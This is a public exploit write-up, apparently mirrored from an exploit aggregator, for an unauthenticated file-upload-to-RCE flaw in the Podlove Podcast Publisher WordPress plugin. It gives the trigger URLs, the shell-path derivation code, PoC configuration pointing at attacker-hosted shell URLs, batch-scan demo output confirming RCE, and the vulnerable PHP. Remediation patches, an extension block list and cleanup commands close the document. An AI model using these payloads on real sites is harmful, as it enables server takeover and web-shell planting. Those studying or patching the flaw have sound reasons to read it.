Share
## https://sploitus.com/exploit?id=44B73B6C-CFE7-5EC6-A6DB-836BAE27B73F
# CVE-2026-13001 β€” Podlove Podcast Publisher ≀ 4.5.1 Unauthenticated Arbitrary File Upload β†’ RCE

![CVSS](https://img.shields.io/badge/CVSS-9.8%20Critical-red)
![WordPress](https://img.shields.io/badge/WordPress-Plugin-blue)
![Auth](https://img.shields.io/badge/Auth-None%20Required-red)
![Type](https://img.shields.io/badge/Type-File%20Upload%20β†’%20RCE-critical)

## Overview

Podlove Podcast Publisher ≀ 4.5.1 contains an unauthenticated arbitrary file upload vulnerability that leads to Remote Code Execution. The image cache handler `podlove_handle_cache_files` is registered on the `wp` action hook with no authentication or capability check, allowing any unauthenticated visitor to trigger a remote file fetch and cache it to disk.

A mismatch between two internal extension-parsing functions allows a GIF89a PHP polyglot to pass the image validation check while being saved with a `.php` extension, resulting in executable server-side code.

| Property       | Value                                               |
|----------------|-----------------------------------------------------|
| CVE ID         | CVE-2026-13001                                      |
| Plugin         | Podlove Podcast Publisher                           |
| Affected       | ≀ 4.5.1                                             |
| Fixed          | 4.5.2                                               |
| CVSS Score     | 9.8 (Critical)                                      |
| Vector         | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H      |
| Auth Required  | None                                                |
| Type           | Unauthenticated Arbitrary File Upload β†’ RCE         |

---

## Root Cause

The vulnerability originates from two separate functions that parse the file extension from the same attacker-controlled URL using different methods:

```php
// extract_file_extension() β€” reads from URL PATH only
// Input : https://attacker.com/shell.php?.gif
// Result: php
function extract_file_extension($url) {
    $path = parse_url($url, PHP_URL_PATH);
    return pathinfo($path, PATHINFO_EXTENSION);  // β†’ "php"
}

// is_image() β€” uses basename() which INCLUDES the query string
// Input : https://attacker.com/shell.php?.gif
// Result: gif  ← bypass
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
```

`basename('https://attacker.com/shell.php?.gif')` returns `shell.php?.gif`, so `pathinfo()` sees the extension as `gif` β€” passing the image check.

Meanwhile, `extract_file_extension()` correctly parses the path component and returns `php`, which becomes the saved file extension on disk.

**Result:** File is validated as a GIF image but saved as `.php`. When a GIF89a polyglot is used (valid GIF header + embedded PHP code), the file executes as PHP when accessed via HTTP.

### Shell Path Derivation

```python
import hashlib

attacker_url  = "https://attacker.com/shell.php?.gif"
file_name     = "podcast"   # podlove_file_name parameter
sanitized     = "podcast"   # after preg_replace('~[^-a-z0-9_]+~', '')

h = hashlib.md5((attacker_url.strip() + sanitized).encode()).hexdigest()
shell_path = f"/wp-content/cache/podlove/{h[:2]}/{h[2:]}/{sanitized}_original.php"
```

---

## Exploit Chain

```
Attacker                          Target WordPress
   β”‚                                     β”‚
   │── GET /?podlove_image_cache_url=    β”‚
   β”‚        {hex(attacker_url)}&         β”‚
   β”‚        podlove_file_name=podcast ──▢│
   β”‚                                     │── is_image(url) β†’ ext=gif βœ“
   β”‚                                     │── fetch(url) β†’ GIF89a
   β”‚                                     │── save as podcast_original.php
   β”‚                                     β”‚
   │── GET /wp-content/cache/podlove/    β”‚
   β”‚        {h[:2]}/{h[2:]}/             β”‚
   β”‚        podcast_original.php ───────▢│
   β”‚                                     │── PHP executes β†’ RCE βœ“
   │◀── uploader ───│
```

---

## Trigger URL

**Standard permalink:**
```
GET /?podlove_image_cache_url={str2hex(attacker_url)}&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name={name}
```

**Pretty permalink:**
```
GET /podlove/image/{str2hex(attacker_url)}/100/100/0/{name}
```

Where `str2hex(url)` = `url.encode().hex()` (equivalent to PHP `unpack('H*', $str)`).

---

## Proof of Concept

### Requirements

```bash
pip install requests rich
```

### Usage

```bash
# Single target
python3 CVE-2026-13001.py

# Select option β™‘ for single target or β—† for batch scan
```

### Configuration

Edit the `CONFIG` block in `CVE-2026-13001.py`:

```python
# Option A β€” Local HTTP server exposed via ngrok
ATTACKER_DOMAIN = "0.tcp.ap.ngrok.io"
ATTACKER_PORT   = 10973
ATTACKER_PATH   = "/shell.php"

# Option B β€” Pre-hosted shell (recommended)
ATTACKER_URL_OVERRIDE = "https://yourserver.com/shell.php?.gif"

FILE_NAME = "podcast"   # becomes podcast_original.php on target
```

### Demo

```
╔══════════════════════════════════════════════════════╗
β•‘          CVE-2026-13001  β”‚  CVSS 9.8 Critical        β•‘
β•‘   Podlove Podcast Publisher ≀ 4.5.1  β”‚  Unauth RCE   β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

[target] https://target.com
  [1/4] Version check   β†’ 4.1.0 (VULNERABLE βœ“)
  [2/4] Soft-404 check  β†’ baseline set
  [3/4] Upload shell    β†’ 307 redirect (triggered)
  [4/4] Shell verify    β†’ 200 OK β€” RCE CONFIRMED

Shell URL : https://target.com/wp-content/cache/podlove/ab/cd1234.../podcast_original.php
```

---

## Affected Function

**File:** `lib/image/image.php` (Podlove Podcast Publisher)

```php
// No authentication check β€” any visitor can trigger this
add_action('wp', 'podlove_handle_cache_files');

function podlove_handle_cache_files() {
    if ( ! isset( $_GET['podlove_image_cache_url'] ) ) return;

    $url       = hex2bin( $_GET['podlove_image_cache_url'] );
    $file_name = sanitize_title( $_GET['podlove_file_name'] ?? '' );

    // is_image() uses basename() β†’ includes query string β†’ bypass
    if ( ! is_image( $url ) ) return;

    $ext   = extract_file_extension( $url );   // reads PATH only β†’ php
    $hash  = md5( $url . $file_name );
    $dest  = WP_CONTENT_DIR . "/cache/podlove/{$hash[0]}{$hash[1]}/{$hash}/{$file_name}_original.{$ext}";

    // Downloads attacker URL and saves as .php β€” no content validation
    wp_remote_get( $url );
    // ... move to $dest
}
```

---

## Remediation

### Official Fix (update to 4.5.2)

Update the plugin via WordPress admin dashboard or WP-CLI:

```bash
wp plugin update podlove-podcasting-plugin-for-wordpress
```

### Manual Patch

**1. Fix `is_image()` β€” strip query string before extension check:**

```php
// Before (vulnerable)
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}

// After (fixed)
function is_image($url) {
    $path = parse_url($url, PHP_URL_PATH);
    $ext  = strtolower(pathinfo($path, PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
```

**2. Block dangerous extensions before saving:**

```php
$blocked = ['php','php3','php4','php5','php7','phtml','pht','phar'];
if (in_array(strtolower($ext), $blocked)) return;
```

**3. Add authentication check:**

```php
function podlove_handle_cache_files() {
    if ( ! current_user_can('manage_options') ) return;
    // ...
}
```

### Post-Exploit Cleanup (if compromised)

```bash
# Remove all PHP files from Podlove cache
find wp-content/cache/podlove/ -name "*.php" -delete

# Or remove entire cache (safe β€” will regenerate)
rm -rf wp-content/cache/podlove/

# Check access logs for shell access
grep "cache/podlove" access.log | grep " 200 "
```

---

## Timeline

| Date       | Event                            |
|------------|----------------------------------|
| 2026-07-15 | Vulnerability discovered         |
| 2026-07-15 | PoC developed and tested         |
| 2026-07-15 | Public disclosure                |

---

## References

- [WordPress Plugin Page](https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/)
- [NVD β€” CVE-2026-13001](https://nvd.nist.gov/vuln/detail/CVE-2026-13001)

---

## Author

**Raimu0x19**

> This PoC is released for educational purposes and authorized security testing only.
> Use only against systems you own or have explicit written permission to test.